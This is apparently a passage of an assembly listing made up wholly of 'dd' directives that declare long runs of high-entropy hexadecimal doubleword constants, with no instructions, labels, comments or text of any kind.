		dd 0F73609D7h, 63409A15h, 3AE148C9h, 3A8215D9h,	0A7B39F3Bh
		dd 6FFBC741h, 4BE8E6F9h, 0B3F2D703h, 0CA8D0157h, 27AA4522h
		dd 6F2DF3D0h, 1EC53761h, 0A6BAC1B6h, 7B463E8Ch,	570CBE09h
		dd 8102D41Eh, 0C6949EBh, 68717F76h, 70B17BEBh, 0F4124C5Dh
		dd 0A3E85160h, 0B5719572h, 25B59584h, 9D03B03Bh, 0BF3ABAB1h
		dd 764ED59h, 7399E2D7h,	0C5B4BE2h, 24BD9504h, 97382BFFh
		dd 0BA179590h, 20164AB7h, 9682F6B5h, 25280200h,	69E46D48h
		dd 93F7122Eh, 0A66BAE88h, 0BF011C23h, 0ED778FBAh, 5E66D5D0h
		dd 0B840040Eh, 0D660B885h, 0FA1D05EFh, 11D9FB9Ah, 35806368h
		dd 0E8D59C3Dh, 7DB8784Ah, 3C31DA88h, 0E42A8C5Eh, 0C1FA5675h
		dd 964B58B0h, 0B48C8CDBh, 264E1A54h, 5FFE7FBFh,	647E00ABh
		dd 4A583615h, 820FCE13h, 8D21EBF2h, 775F520Bh, 189484B5h
		dd 0D4CA805Fh, 0A082B7F6h, 5F27CBB7h, 0AAE1BC6Dh, 0F09BA05h
		dd 292E901Fh, 44BEDB5h,	4DD26EEBh, 0A9E5C4FAh, 17D695A8h
		dd 0B8C4EBD9h, 0F0DBA7BEh, 2D601E63h, 185D8897h, 9AD19DAAh
		dd 0D6729632h, 0F00B1746h, 0D85CB94Ch, 0D0C8BB81h, 122F1365h
		dd 0E19CE631h, 0A06EBE5Eh, 7A0BBFDEh, 5C23F948h, 736DE9D7h
		dd 88023640h, 14DF2508h, 5E978AC4h, 0F5F4C993h,	0A20E5B6Fh
		dd 0D1EEDD12h, 0ADBD3108h, 0EF57450Dh, 0D55F4082h, 0F685B5B9h
		dd 7F3A3A7Fh, 6A6090CAh, 0D69F6AEEh, 0B200F4E4h, 20E33EF3h
		dd 525412BBh, 205B41CCh, 73D1788Eh, 8AF63100h, 9B0FC5D3h
		dd 0F7A94A77h, 0AC764923h, 26E7CBCh, 0A14F9B2h,	0FA5CD6CAh
		dd 0C80F8251h, 0B3C0C019h, 0AE02426Fh, 0D7816089h, 0CDD96343h
		dd 30FCCCBEh, 0D9CE5E00h, 3FDF1934h, 0D240023h,	8AE2B9E3h
		dd 0B80E665Ah, 37615617h, 9559BFE3h, 439EC744h,	0B55D5688h
		dd 0A6B480BFh, 0BB0F56A8h, 0A05C4098h, 0D59D2B5Fh, 4F6BB121h
		dd 0EEFE8B04h, 0DF2410E3h, 4D8DE222h, 7FF6DD19h, 17406FCFh
		dd 2D889126h, 40C04571h, 94973D28h, 8B1C4400h, 0D98DD94Bh
		dd 82E3CDFBh, 0D0A3D705h, 0CB9AD0C6h, 0E1251C23h, 0ACE2C52Fh
		dd 16203CBAh, 70D5E92Dh, 783B9322h, 775E2C5Ah, 95C4EDB9h
		dd 0C16CC815h, 9DB570CAh, 0D61956A7h, 0B8251C46h, 9876C5Dh
		dd 63D380FCh, 0AB811D20h, 64870489h, 0CC336019h, 7AEE01BCh
		dd 1103BBF1h, 3F6AC9E1h, 6005A26Fh, 13014E21h, 0B75152C4h
		dd 73BEA0FBh, 8D740214h, 3D5389E4h, 287CC75h, 79F776DFh
		dd 127F3323h, 6EBA01FDh, 0F37FFE6Ah, 0A136002Dh, 0DCF75116h
		dd 0D696003Eh, 0C6B190A6h, 69124A05h, 0DFE0F504h, 828E0BBBh
		dd 0F079558Dh, 0D5470C80h, 3C019261h, 0E500F554h, 0B307D3Eh
		dd 2A0A0FEEh, 0C61BE467h, 8265BF8Bh, 0DD6A18C2h, 0D40071E6h
		dd 0CC09F971h, 0A3AF12h, 0AC205E8Ah, 8F790EE4h,	426F2ED6h
		dd 152D326h, 8D09DE48h,	4E986875h, 4AE46AEAh, 0D01698h
		dd 5B2FB1EBh, 0E8BF4CCEh, 0BA7E0084h, 51760A78h, 0D207D381h
		dd 5F1FE7CEh, 84FA7119h, 0BCD1FFF5h, 8B5D7306h,	29798408h
		dd 8F4B38AFh, 2707B388h, 1AED026Ah, 1715A7C0h, 66F505D6h
		dd 0FA72B62Eh, 10C97881h, 6ADC5002h, 0DE8B5761h, 0E63E567Bh
		dd 0CC1AE0BDh, 0A7430275h, 85916D0Fh, 64BECD57h, 37166017h
		dd 12C05D55h, 39A50627h, 0BB109FAh, 7862DC71h, 0ED020B6Ah
		dd 6F553155h, 0C6624179h, 0E4DCD870h, 9F313E4Ah, 342EDD8Ah
		dd 5536A0AEh, 9905E3Bh,	0DD5D73BFh, 0C7E4702Eh,	0D9B81241h
		dd 96D6E5Eh, 57A116F1h,	0DC9568FAh, 3297D6CDh, 7F65752h
		dd 73894C26h, 2EF3E127h, 79B58900h, 2AB93BEDh, 757B6D2h
		dd 6A6F71BFh, 2CC348BCh, 0BA8C64Ah, 9531091h, 0F75457D2h
		dd 0F909EECAh, 0F194550Ch, 4AA215FFh, 1D0D6600h, 266AA778h
		dd 6F8EB051h, 0B85F70B3h, 0DFAE6025h, 3E44A85h,	0BAF38071h
		dd 0B9B49D8Bh, 5DE88967h, 0CB2FFEB8h, 61EE8501h, 0A6E380B5h
		dd 3074162Eh, 21DC70FEh, 4C7CF217h, 0BA80C8AAh,	950122A0h
		dd 9EA678B4h, 19DC5312h, 2F3341C5h, 844B5BADh, 0EF99AA1Eh
		dd 0B5AE602Bh, 0D18813B1h, 0C1E97AF8h, 959D291Dh, 49851024h
		dd 0F144E04Eh, 479132Eh, 0BE286924h, 0BF0B33E2h, 9550BDEh
		dd 0DC19555Bh, 0B529110Eh, 4A83F26Ah, 89097DD4h, 0A5727191h
		dd 42456C64h, 0D6DC1B41h, 55FCD4ADh, 0B75C6CA5h, 5D6EC4F8h
		dd 55B3E1F1h, 2628F8B5h, 9F609528h, 0C9B6DA10h,	25348500h
		dd 0BF3B9A5Ch, 7C6036BDh, 5B4B6549h, 5AFB7D98h,	0F36FFFDFh
		dd 0B777007Fh, 0F1932ECDh, 48C45CA8h, 9AABFE8Bh, 0C317C810h
		dd 0B8029856h, 36B9DA8Ah, 11F70810h, 7F7D451Fh,	8A3C9ABCh
		dd 46341081h, 3BFC95B3h, 33C4B820h, 5167025Dh, 5BB8BC36h
		dd 0E9395CC0h, 5C1B7A27h, 0C714B459h, 17D069F4h, 613BD69Fh
		dd 2E4994DBh, 0B7AE3C24h, 0ACA6F4F7h, 0E2E41000h, 0DBD2F207h
		dd 8AF93007h, 5B4450FCh, 0ACB89EB9h, 10D1F70Bh,	3B645D83h
		dd 0D0C26071h, 5F9AFAF3h, 0EFF608CCh, 2DCF7009h, 3132D738h
		dd 0D612A9D6h, 0A85A23E3h, 0FC04D62Eh, 8BEB3431h, 9CB8D318h
		dd 4CD74969h, 8289709Fh, 1FC91240h, 45061C97h, 0BBD31832h
		dd 5616F625h, 0AA7EE9A2h, 0A1989DD4h, 9495E1FFh, 533C6BD4h
		dd 7CA74F37h, 0D6545A2Ch, 57A42551h, 615102D4h,	0AD049ADh
		dd 21B61495h, 1BF102D9h, 0B0716E19h, 0B799D2Bh,	98FD9577h
		dd 4ACF80D4h, 0B9CC4E0h, 0B8F5E9D7h, 0A03473D1h, 932CC5h
		dd 709A26Fh, 0C8368563h
		dd 0EF20970Fh, 96B192A6h, 0A5E4126Eh, 53D7E278h, 0DB68D0B8h
		dd 0B40B1672h, 58D5E272h, 0F1998A6Fh, 0EB4BB9CBh, 605B426Ah
		dd 0C6B309AAh, 0DF60902Fh, 238DEAB1h, 73D558A8h, 0B7115050h
		dd 7683C85Dh, 209D8D14h, 0D88D5A41h, 774B4E4h, 699149EDh
		dd 2E686371h, 8A0E5890h, 2F1F6258h, 873BD4D2h, 0B0950DA7h
		dd 1025BD09h, 44E964BEh, 23750485h, 0AF42BFDAh,	19C06FA8h
		dd 6F3602CCh, 84645AC4h, 81C0F1A8h, 0CCE831CBh,	5CE95F0Bh
		dd 43106F01h, 6891F965h, 808C7819h, 7D74C436h, 1A450F3Eh
		dd 4FC3F5FBh, 0A8A41017h, 3AAD4EF2h, 0AB07A5ECh, 22AD77CFh
		dd 1CF4D401h, 2DE77F30h, 0CE5BB71Bh, 119A7525h,	0C2F542C1h
		dd 18ECF954h, 0D336401h, 502D9806h, 0E8805B4Ah,	3D91D7BBh
		dd 6017697Eh, 0CD8DEF53h, 612DC83Ch, 25F6EA74h,	0D346427Fh
		dd 0BCEB8116h, 7136CB09h, 0DC8A4164h, 320B7A50h, 0F8C6F7E6h
		dd 1E20314Ah, 3DAC8374h, 10A4A5B9h, 1E5C2756h, 0CE3CA86Ah
		dd 5603EA6Eh, 0FF0E3259h, 7FF2A290h, 44E3029Dh,	671556B2h
		dd 404A6B89h, 217AE941h, 7FBCBB98h, 6F937376h, 930DE808h
		dd 5FEAF6C2h, 0BBDA42AEh, 2A40E4CEh, 0BF05615Fh, 66DF8402h
		dd 237C7BABh, 0DCB40217h, 515F8045h, 0C3ECECB8h, 0E9680B0Dh
		dd 163E151Eh, 296BEA4Eh, 0BF4C1AE2h, 0C7B50902h, 42B13792h
		dd 1246001h, 265B810Bh,	910AF17Ch, 23FB282Ah, 85E7045Fh
		dd 92AC30A7h, 0A63C43BEh, 0CDE4527Bh, 826E53F3h, 0F1D51713h
		dd 11CF4100h, 0E6322A33h, 0EE4D7750h, 81605F40h, 29D105D6h
		dd 0C2235790h, 0FB7515ADh, 4B299FAFh, 9675171Dh, 8335B709h
		dd 2699002h, 74EA8171h,	0F92C8D60h, 0D71CFC93h,	0CDC0D2A8h
		dd 1C30983Bh, 67DC2F26h, 5DB7DD2Fh, 0C3F21416h,	7F30B697h
		dd 0DC8B9809h, 0BE638209h, 0AFE0546Ah, 85F1B7FDh, 0AC70E46Eh
		dd 4EBBC0B4h, 953D94BAh, 1C590C5Bh, 0BD01CE18h,	96FC7B39h
		dd 6860B2D4h, 0E23A95F8h, 0FF69A54Dh, 0B1D366Eh, 0B060EDBDh
		dd 27E5BE3Ah, 5B828E3Dh, 0D177CE94h, 0FE0A00FBh, 6098DA62h
		dd 480E5C9Dh, 0BCF22794h, 9A5F6125h, 0D7F88B1Bh, 0C2835F60h
		dd 0DCE0D4BDh, 76B8E04Ah, 8CF21D5Fh, 0E8211A8Bh, 0A28A15A0h
		dd 82629602h, 75E05ECAh, 0A901B664h, 52F60973h,	0A83F4429h
		dd 2F8CB2Ah, 7F311D38h,	1D710F53h, 9D5B2926h, 6E23D1DBh
		dd 0FCDDD5E8h, 0E3BAAB01h, 32BECF7Ch, 4BE78E23h, 0B5B5F5C9h
		dd 8E9A1695h, 805C2702h, 0B1B3E554h, 8FD3810Ch,	2BE7149Ah
		dd 0D501F0A5h, 8A2A258Dh, 0C585253Bh, 9F33A8A0h, 296F957Ch
		dd 44C451FEh, 17D7E728h, 9109FF16h, 0CCED7E33h,	9B85F40h
		dd 15596306h, 4A569652h, 2139F5FBh, 0D6B87EBEh,	0E07FEA4Ah
		dd 4C547025h, 0B6BBAF35h, 0F8BDA4E2h, 257AFA80h, 6F26A382h
		dd 0C4609EB2h, 25474F19h, 72EDC77Eh, 0E5611564h, 8AC42D5h
		dd 0F7BB5725h, 21DD1046h, 107DF85Bh, 0F25F1075h, 0D559C957h
		dd 0EB87343Dh, 0B9146939h, 0AAB264AAh, 97C60388h, 0A140CA4Fh
		dd 1031B418h, 6B260DBDh, 0AFAFF4CEh, 0B6F65ED4h, 427DCBB2h
		dd 10C7DEDAh, 25DB4C15h, 94CD57F5h, 0B5FBDAE0h,	0C1150401h
		dd 0ABD59D89h, 0E76B1A65h, 3120C61Fh, 2B0399A4h, 0C2EB3174h
		dd 900408D2h, 6BEC5DAAh, 16477889h, 6A67AF13h, 0C1C070DBh
		dd 19C6BD5Dh, 61DBE901h, 0B5317418h, 6AB9E47Fh,	78915B95h
		dd 860ED9E0h, 23F1DAD5h, 269313DEh, 49E1D1FEh, 1BAEA7Dh
		dd 0FE78BA91h, 25F7AD34h, 0F6439273h, 14C4BBC0h, 0CA0F503Ch
		dd 1980DBE2h, 0B21E706h, 4C7B6900h, 37EDE2DAh, 0A2A01C52h
		dd 0A1E4D2C4h, 309B6B17h, 3FBFA980h, 114EBBC9h,	6FE8D0A9h
		dd 0CF723B05h, 0D5EF6B54h, 9309A83Eh, 59286D49h, 49CD6B08h
		dd 0A09DDA41h, 0B03FD70h, 810F3AEBh, 88C0D19h, 3B29551h
		dd 8F7845Fh, 36B7D149h,	0A575388Eh, 60BAFBE4h, 6258B85Bh
		dd 8A0B375Eh, 93CAE91Eh, 512E56E6h, 5DB73BADh, 51B1E7B7h
		dd 3AF064D0h, 38C8BF14h, 3C6A4049h, 61242B02h, 60908945h
		dd 740073E4h, 0D56BE220h, 472F6Dh, 5640BC1Eh, 3BB09449h
		dd 57506104h, 97DB905Bh, 0E19ED4C2h, 40565C55h,	0EAAF0324h
		dd 0C8B8CD4Bh, 218D8982h, 5F506478h, 104AC094h,	18B23BB6h
		dd 9EFA7732h, 5998E92Dh, 78C4C274h, 790B080Ah, 3A6E5F22h
		dd 0AFA25EBDh, 0C193DCEEh, 0B73D558h, 17D451F5h, 8A33C0FFh
		dd 310F2EFCh, 13F52779h, 0A6FEE4BEh, 91EC4028h,	0FE8A074Ah
		dd 2CE4E825h, 127F8EEAh, 397E6100h, 74DC3586h, 13300AD5h
		dd 4B0D8DDh, 0AD5FEF81h, 0F0E6C619h, 7F397808h,	0DC78B66Ah
		dd 4A42B300h, 0E5B4D440h, 0F98B4F16h, 2C911016h, 0C9815300h
		dd 7624E278h, 0BFE8584Eh, 222A6916h, 0F1F5A1D5h, 0F8E14484h
		dd 0B25843Bh, 8B71FDAEh, 8BA77CB0h, 425D7BFEh, 8804579Ch
		dd 0C81FAC25h, 0E58B9EBCh, 3188A2F5h, 26F73A0Ch, 1258C165h
		dd 0A051D1DFh, 7609BBFCh, 5127059Eh, 0C72430FBh, 8B2F3751h
		dd 0D2574D1h, 7F4D86E9h, 9860EBDh, 855AF12Bh, 0FB20FCA1h
		dd 780C4588h, 0CDEF0088h, 0E408BFE7h, 0EB134BAFh, 0DD206917h
		dd 6FAA4D1h, 545A0F9Eh,	0FCE020B4h, 0D70CBA95h,	0F90B4D5Bh
		dd 0AC625FE9h, 9D5F30D5h, 2214473Dh, 0EA88A323h, 530E5628h
		dd 69D3AE0Dh, 6906DE04h, 0ACAD5F4Eh, 0F031B145h, 95E10404h
		dd 1BF9AE13h, 0AD58C2ECh, 6609755Eh, 5DDF8B9Ch,	0B6F86673h
		dd 0EAD60282h, 0FD5B9DEh, 141DE391h, 14C0BBECh,	9A1530Dh
		dd 0BC6E8404h, 0E5809030h, 4A9156D8h, 7C69995Ah, 56A64EEEh
		dd 0E640FEE4h, 562C8B1Fh, 33A704BBh, 0A9FC17CFh, 0EE2AB92Ch
		dd 0C014FC27h, 65B846F9h, 82288070h, 0B72574BAh, 0AC4767ECh
		dd 807B606Ah, 0EA017746h, 0E6271B65h, 0D8FF4FBEh, 2FCC5CB7h
		dd 125F0717h, 67385D4Ah, 0A1099AE3h, 0D60BD380h, 1C46D618h
		dd 58E5BE03h, 8AA87B93h, 6C9203EBh, 5BEAB72Dh, 181C5901h
		dd 25E794Eh, 0CB78311Dh, 5760C8ECh, 887A3E0Fh, 5D12D695h
		dd 0A3E1C426h, 0C570DCFBh, 0E9295A11h, 18C8E966h, 0D1BD2589h
		dd 70289C75h, 307EE157h, 692D6623h, 57DC509h, 49EF827Fh
		dd 0E2FE0920h, 5A39186Ch, 2063EA0Bh, 277DE103h,	6F748D2Ah
		dd 3A00D96Ah, 60A666FDh, 0FE013D8Fh, 0BFF94DB3h, 63E54C54h
		dd 0F5A5292Bh, 0E3820404h, 518356FAh, 8010425Fh, 80FDDB55h
		dd 3DF62A3Ch, 3300DA9Fh, 0CD8C6B9Bh, 95BDDB25h,	56BF9394h
		dd 78DF2BE5h, 0A00113Ah, 60A1D0C5h, 24AF41BBh, 8B8E5AF3h
		dd 0EF5765F7h, 0AC6A44A0h, 79ED4E89h, 7E9D3EB8h, 0E380C0CEh
		dd 8B2366F6h, 272C26DEh, 9DFA32Eh, 254293Dh, 9A15E0EBh
		dd 9791BAEAh, 0FF2DE237h, 0EF6A7585h, 0D200886Fh, 0FE170D90h
		dd 0AA0398E5h, 6018E268h, 0FBD82530h, 1B1D8160h, 749F7F7Ah
		dd 99BD62F4h, 0A761DBD5h, 0E5F844CCh, 15A9114Ah, 1D680D7h
		dd 7A38E953h, 3CB95A02h, 0EEF82ABDh, 19D1BF02h,	69564A82h
		dd 763D5F27h, 0E31E3F0Fh, 0B864B19Eh, 9FF97735h, 12FE567Eh
		dd 0B022710Fh, 0C925CB8Eh, 0DD866262h, 90D04473h, 31011CB9h
		dd 0AFF19334h, 0A696C6DAh, 0CCC80159h, 52488483h, 231AF171h
		dd 41D8AAC0h, 855F07CBh, 0BC0DCF20h, 169A0ED9h,	0F7C38304h
		dd 3AC89C61h, 8404A42Bh, 5A9D641Bh, 0A1B2CAEAh,	0D6707DFDh
		dd 0BB47C085h, 44D8756Dh, 561D0997h, 4F32104Fh,	0D54C37AFh
		dd 986BAADAh, 0CC3B1723h
		dd 5A8A3052h, 0EC8568D8h, 50923F44h, 0C1ED20DFh, 313AD5Eh
		dd 12EAF7C6h, 0B5A25Ah,	0A84299AFh, 251F4B7h, 98F1E345h
		dd 0D3E66A16h, 3DE6F8EFh, 0F7308F25h, 0F87DC0EAh, 0BF5B5B2Bh
		dd 797A4720h, 0C26D4EDAh, 75CC632h, 0F42C7CA5h,	0A80AC200h
		dd 5CD6DC4Fh, 0DDE9783Dh, 235AC021h, 6B243111h,	30D38714h
		dd 2E6516C7h, 0BF529F90h, 96621BF2h, 9817FA51h,	7BE53981h
		dd 0BAECAA25h, 61BD16B9h, 0E0B1B690h, 569D768h,	0DB21974Fh
		dd 0AE5184B9h, 71C0E7E9h, 2114CEB3h, 8A11BA12h,	0FD5E808Eh
		dd 493DADE2h, 0AB51D584h, 0A8B5EE16h, 1197EC7Ah, 0DAA51522h
		dd 1D4680F6h, 95A8C223h, 5C9FB394h, 0DE82265Fh,	3BF0824Eh
		dd 0A482822Dh, 4ED528B9h, 1185102Dh, 56CBEE1Bh,	56A87E79h
		dd 36847F97h, 0E06CB65Bh, 4EF2AC7h, 5961AA80h, 0F9C9AB5Bh
		dd 5413DCh, 7C7386CFh, 8CB5ACFFh, 5231F713h, 60129630h
		dd 0BF35027Bh, 0D3EA1D77h, 4A939675h, 4E28EB66h, 0C9BEEB25h
		dd 0A8146996h, 5F12E2B6h, 0D5D01DF3h, 0D43F133Ah, 813FB895h
		dd 0EBF3F5A5h, 1A0467E0h, 84880C82h, 4F85D8F7h,	0D27FBE5Bh
		dd 0D8AB8000h, 3E7E0C58h, 0D40ED4B5h, 0BEC0F6BCh, 4AE780F6h
		dd 0A82AA287h, 4F2079AFh, 0B307883Bh, 0C9825B1Eh, 0CE18EB40h
		dd 26FCF33h, 0FD345D2Eh, 6D55BDB0h, 60186437h, 0BBE6AEFh
		dd 8F0F37EBh, 0DB5D4E6Ah, 7AEB0250h, 73DD9648h,	692726E3h
		dd 0EB016954h, 5E64CE7h, 0B39FD82Fh, 960849BFh,	414FC01Bh
		dd 4BD1310h, 89C2886Ch,	0BBA0EA9Dh, 0B2ABBF57h,	4D00863Fh
		dd 0C208153Eh, 0DA764B4Fh, 0C01AC85Dh, 17B559B3h, 0A9527614h
		dd 802040AFh, 194BC724h, 96289C7h, 21B75519h, 9D801991h
		dd 5FCA2D01h, 23A8A84Bh, 20B502C7h, 0A58A98C5h,	0E5C80412h
		dd 0CF7D44F1h, 0A713E5ECh, 38CA34F1h, 1083AA0h,	5112F27Bh
		dd 5BF541Dh, 0BE34A9D5h, 0B6F44BA3h, 255709FAh,	9F4E781Dh
		dd 0B5A60E4h, 38C475ACh, 912EC58h, 0D55B3B10h, 189106B5h
		dd 9F62918Fh, 84FDDE5Bh, 0F61009F3h, 0F72E5D12h, 24BE4F67h
		dd 0E49EFE3Eh, 1DC6F81h, 17ECEF95h, 9ABA2212h, 0CA6597C3h
		dd 0C94F8AE3h, 19BC3A85h, 55350179h, 241D61C6h,	0D3587C97h
		dd 2C681712h, 765127DFh, 73F610FDh, 0ACDD00FFh,	0E187D913h
		dd 9E164D5Eh, 88AC51F8h, 0B8DFF992h, 0D4AD0269h, 89E27443h
		dd 8894F2FFh, 0B5425FFAh, 9543E59h, 0C96D770Fh,	6EA2BC79h
		dd 6A307F97h, 47284AC3h, 2964FD33h, 0D1BC5B8Fh,	0A5744CA2h
		dd 10221DE1h, 2040FE2Eh, 0DB12A062h, 65801270h,	76990079h
		dd 965FF53Ch, 0A5BE6007h, 56E51E8Ch, 55C080FFh,	507F615Eh
		dd 1C773797h, 2C361234h, 8A0BBB2Fh, 2471D40Ch, 0DEBC33DEh
		dd 186AEEB5h, 6153CD09h, 0E3674FFDh, 2EE88A0Ch,	0A3B859Fh
		dd 0CC8850F1h, 2FADB65Ah, 91603BADh, 7B362AFCh,	65BA00C7h
		dd 0FB334EBh, 6DB5DBBFh, 4C225A7h, 5DB09A75h, 544985D6h
		dd 0F8BFC1B4h, 0E8763DC6h, 7FB316D0h, 0F29EFA4Ch, 0BAC17895h
		dd 2CE48BD7h, 0DC5B80DFh, 3F8FE8A2h, 29F1B35h, 0F2A5FD9Fh
		dd 0E0AF4D7Dh, 0C18B32CCh, 0B978C4B3h, 5FA6019Fh, 0FA71294h
		dd 0A1E12C87h, 97F47152h, 6C0E2EE1h, 0B4C4D3BCh, 41C807Fh
		dd 1294D86h, 21E927F4h,	0D9F8F700h, 0E1000438h,	0BEA12FDh
		dd 0FE26DDh, 0F113F2D7h, 0FB21E606h, 0ABE82901h, 0B114C83Fh
		dd 2FDCBB30h, 1DDCD2F9h, 0EC10FD00h, 223106h, 2397FE57h
		dd 8CD16FD4h, 0E8B8635Eh, 0CA00983Ch, 7C7AE142h, 0FF001227h
		dd 3DA245EFh, 792CB3h, 1BB6515Bh, 26942BD6h, 1D8DD00h
		dd 0CA35F4EDh, 52E40721h, 20A13AA3h, 0C5C83B9Dh, 0C27146Ch
		dd 0F4FE00E2h, 3CA1244Bh, 0D00DCD1h, 1F1D6BA7h,	0E4844DBCh
		dd 0E2D50048h, 36D7F8F4h, 0A300290Eh, 1DBFF0E0h, 3A678784h
		dd 7A6588h, 401EA16h, 45DF79B0h, 0AAEC8C5Eh, 0F5889305h
		dd 0EFE3C58Fh, 60DA1F80h, 0D18219B7h, 7B2519A8h, 0F80B7F1h
		dd 55B7722Fh, 0EDE8388Ch, 87A7D700h, 6A528568h,	4118179Dh
		dd 4F21EA88h, 8B0095D7h, 0B465C556h, 30803111h,	45A913h
		dd 85650BE1h, 98272A82h, 0D5A8B300h, 52299677h,	9C7255h
		dd 753BA60h, 0A26C625h,	0D593241Dh, 1FDA0F87h, 97403921h
		dd 0C0BD5A84h, 0FC02802Eh, 0F7309C11h, 0DBFF1B83h, 0BBD7B0Fh
		dd 0A57C2D2Ah, 60D283D7h, 0C4B3C8ABh, 5C35E296h, 0C50AD0D0h
		dd 23DE03h, 8CDA29CDh, 0F307D5E2h, 5709FE10h, 1F4D2F10h
		dd 0D7380098h, 80F8E6D6h, 0BA1CA325h, 5F00D41Dh, 0E48EAA0Ch
		dd 76B21244h, 0C95A406Bh, 0DA578D43h, 28264204h, 2F883006h
		dd 85DB30A0h, 3B277EFEh, 5D914B18h, 0C001566Ah,	31CEB041h
		dd 79007C87h, 7F5F8EA0h, 3C1A1D90h, 178159B6h, 53BC24B5h
		dd 0AC42D89Eh, 87343300h, 11E6777Eh, 7E72FC5h, 480CFDCh
		dd 0A0523FA3h, 0B6D003Dh, 9D4E7143h, 950254FAh,	932CD538h
		dd 5FDA602Bh, 8EA3Ah, 9E4B4287h, 0BD51BC21h, 8C9D7300h
		dd 8572A760h, 0B2A05063h, 68110EDAh, 37E0CD64h,	0A4757897h
		dd 835A503Fh, 0FBE31224h, 0A523B8F7h, 0B76C0001h, 8E30C772h
		dd 6A00A14Bh, 0DB7BB663h, 0B39212h, 0B025C5A7h,	0AA3E210h
		dd 23348207h, 132003CEh, 0E94C2DEEh, 0DCC99D41h, 0D51E60h
		dd 97A015F8h, 3DDBD231h, 0CFFB0404h, 0C186B538h, 0FDDF1454h
		dd 0BA11B02Eh, 0CD8C3098h, 17C8326h, 6336B750h,	24B624D3h
		dd 0ED0014BCh, 21B9F6E7h, 12CDC113h, 0B14B2Eh, 3BDBC835h
		dd 8E7B9ECCh, 0C423D901h, 0ED20BD18h, 50994F70h, 90F5FAA8h
		dd 3DE4C8h, 8174913Ah, 42B35876h, 10973530h, 242432D9h
		dd 5DE7Ah, 0A55E8C73h, 10317C91h, 9C95B4EDh, 0A1286F12h
		dd 9BDE7D41h, 0BD182524h, 1500B3D8h, 11AE53B6h,	0C58A30ADh
		dd 0FB459E7Eh, 2007FF80h, 444900BAh, 815D8984h,	2005037h
		dd 0A269536Ch, 24D87E2Bh, 0AF2EB119h, 9A0923D6h, 91473384h
		dd 79809FDAh, 20CF5F1Ch, 5E064FC0h, 0C4B5669Bh,	2741011Dh
		dd 5B3D3B62h, 7AF4202Ah, 4AA3D718h, 0BD1F1Eh, 7B60474Eh
		dd 20957658h, 0D804900h, 0C49AC8BFh, 0BDA90504h, 26617C9h
		dd 0DCEDDF85h, 0D075CB41h, 192864EFh, 9600C8CCh, 11B720E9h
		dd 242EFBF2h, 44A51C08h, 818C00E6h, 6F412Bh, 1E2F246Eh
		dd 34CFF9F8h, 19B6C101h, 0EF265704h, 0E6A34E8Bh, 0FC4E172Ch
		dd 1645CE0Ch, 1CE01F63h, 1DE7EE23h, 39A4C0DAh, 0B44E103Eh
		dd 65095500h, 1979735Ah, 0D2E2006Ch, 2CA1684Fh,	1A00D97Dh
		dd 0B9B153B0h, 2858032Fh, 855F25h, 0F52CE5A2h, 8F80C866h
		dd 0EB0016FEh, 9D3D4D30h, 3DDCA23h, 2992C139h, 9780D9DCh
		dd 0E13DD433h, 0DECCAF08h, 30013E77h, 9B223C7h,	0C3A07FFCh
		dd 0CFEE1DEDh, 4863403Ah, 0BC7386E2h, 0B9807500h, 0D0047753h
		dd 0F5B00389h, 706E0F4Ch, 3EEB7003h, 1423518h, 0A4B2DD11h
		dd 0F4E627C8h, 258DED9h, 5A490E56h, 4579A056h, 9D42B1h
		dd 557A7D70h, 6EA36886h, 2AAC675Fh, 36D89180h, 0D33E9BC7h
		dd 598C192Eh, 5D65095Eh, 0CAC120h, 0AB34E825h, 48D67131h
		dd 1F3C0506h, 542C4D5Eh, 0A889EEDBh, 73D8DFEFh,	0FFE00F2h
		dd 8F06CB9Eh, 7EF134DAh, 0F235C7A5h, 40F4850h, 0F60DC079h
		dd 46E89509h, 0A710E900h, 17D2C342h, 365414F7h,	9900C391h
		dd 65EF0ACFh, 0D00A333h, 9E6D1C4h, 5FF5E004h, 3FACD8h
		dd 0EDA570C6h, 2AB91Eh
		dd 0F64BEEDFh, 9C891465h, 648A2313h, 93733400h,	718096h
		dd 0C732A44Ch, 75F8DF6Fh, 87E9E67Dh, 0DE13102Ch, 0B802A223h
		dd 807737h, 6685A95Ah, 0A45D8489h, 0F96006F4h, 7086832Eh
		dd 0A73914C6h, 601797D0h, 0FF32E455h, 0C35651Ch, 0E505ABAAh
		dd 2E2F2234h, 0EBA98107h, 80FEE1E5h, 0EC1BBF7Eh, 0F2A14A0Ch
		dd 922187h, 29C32A95h, 175D2C3Eh, 9851410Bh, 8E750915h
		dd 0D002C0D6h, 0FB6FEA29h, 0A82CAB43h, 0DEB928CDh, 6BA8C387h
		dd 1E075212h, 0D13A928Fh, 0A169BC81h, 0A08B1B20h, 2AF841D5h
		dd 2FCE225Bh, 0CED4E29Fh, 0E4A1C667h, 48238F1h,	86305201h
		dd 0BC9BD181h, 71A47E13h, 0CFDE0036h, 78F07EEFh, 0CB17143Ah
		dd 4EB03ECh, 409C899Ch,	0BB413C9h, 88B0C02h, 0F01A8A70h
		dd 0B33ACB1Fh, 8EFF007Dh, 431B473Eh, 3BC4007Dh,	21E0768Dh
		dd 96013735h, 395C577h,	0DFC47A5h, 8EE8D4h, 5B299B0Fh
		dd 8BC8517Ch, 9E02F270h, 77B26F1Dh, 0C2894976h,	0C3A1DCD8h
		dd 0CD611E1Dh, 504CC199h, 37B046B8h, 30E2934Ch,	202E1EACh
		dd 0F12903BFh, 87CA0B48h, 0EA97B007h, 3ED532h, 37D79203h
		dd 17C9101h, 950C8A4Bh,	0A4E47E2Fh, 709741FDh, 9100482Fh
		dd 413EB658h, 826B4Ch, 1D9A7559h, 8F4A4BBEh, 85A25A03h
		dd 5DE9FBCh, 88AE5B3Dh,	41E8069h, 10E87C7Fh, 0D8F66C01h
		dd 19B5C233h, 770DFFD8h, 4E9030Ah, 45202CB2h, 5FA613E0h
		dd 6A3AA0Fh, 725D403Bh,	0DADB1Fh, 0ECFA092Dh, 0F09FCA42h
		dd 14FBCE17h, 4DC540FEh, 5A837284h, 1F1458BFh, 0BCDC04Bh
		dd 5D8040FAh, 1ACF36A3h, 27949300h, 0EED0D7DEh,	7FE0BEBh
		dd 80FFD386h, 0EAD3043h, 0BF3600FBh, 510D592Eh,	140742C9h
		dd 8BEF725Ah, 403E86F2h, 5F716481h, 8000E8B8h, 50A03DA8h
		dd 0F28C0177h, 0F4EB402Fh, 9D9C40CAh, 1200AD54h, 7F5A5BA8h
		dd 0F8B3766Fh, 0D066129Fh, 3AAFD1Fh, 7320F61h, 0B43FD8F0h
		dd 0B6E92C9h, 7FB55946h, 402C97F5h, 81E78957h, 7D04C737h
